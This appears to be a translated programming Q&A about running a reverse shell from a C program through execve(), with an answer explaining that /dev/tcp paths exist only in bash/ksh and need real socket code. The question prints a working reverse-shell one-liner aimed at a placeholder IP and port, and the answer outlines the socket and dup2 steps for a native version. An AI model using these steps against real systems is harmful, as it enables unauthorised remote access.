【问题标题】:Execute reverse shell using execve()使用 execve() 执行反向 shell
【发布时间】:2018-04-12 07:04:41
【问题描述】:

我需要使用execve 运行反向shell。我知道如何从命令行运行它,如下所示:

$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1

我可以运行一个简单版本的/bin/sh 调用如下:

#include <stdio.h>

int main() {

   char *args[2];
   args[0] = "/bin/sh";
   args[1] = "-i";
   args[2] = NULL;

   execve(args[0], args, NULL);
}

我不知道如何运行命令的其余部分。我尝试将剩余的字符串 &gt; /dev/tcp/IP_ADDR/PORT 0&lt;&amp;1 2&gt;&amp;1 分配为 args 数组中的单个元素。当我运行它时,它会报告Can't open &gt;

我提到的反向 shell 命令可以通过 execve() 执行吗?如果是这样,正确的方法是什么?谢谢。

【问题讨论】:

  • execve 的第二个参数仍然有argv[0], "/bin/sh",删除它可能会修复它。

标签: c execve reverse-shell


【解决方案1】:

/dev/tcp/*/* 文件不存在。它们是仅存在于某些 shell(bash、ksh)中的抽象。您需要在您的 C 程序中进行常规套接字编程(socketbindlistenacceptdup2 您生成的 shell 的标准 IO 描述符上的套接字)。

您还应该修复数组中的溢出问题。 像char *args[] = { "/bin/sh", "-i", 0 }; 这样的初始化应该更不容易出错。

【讨论】:

  • 我确实尝试过使用/bin/bash,但这也没有用。
  • @Jake bash 或 ksh 必须是解释路径的 shell(而不是指向它的程序)。在您的情况下,是您的程序会打开路径,但系统中不存在该路径。当他们遇到这样的路径时,bash/kash 所做的就是将其视为一个神奇的字符串,告诉他们围绕 IP_ADDR 和 PORT 进行标准的 BSD 套接字舞蹈。你的程序应该完全跳过魔法路径的东西,直接跳套接字舞。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2022-06-24
  • 1970-01-01
  • 2012-01-06
  • 2021-07-30
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多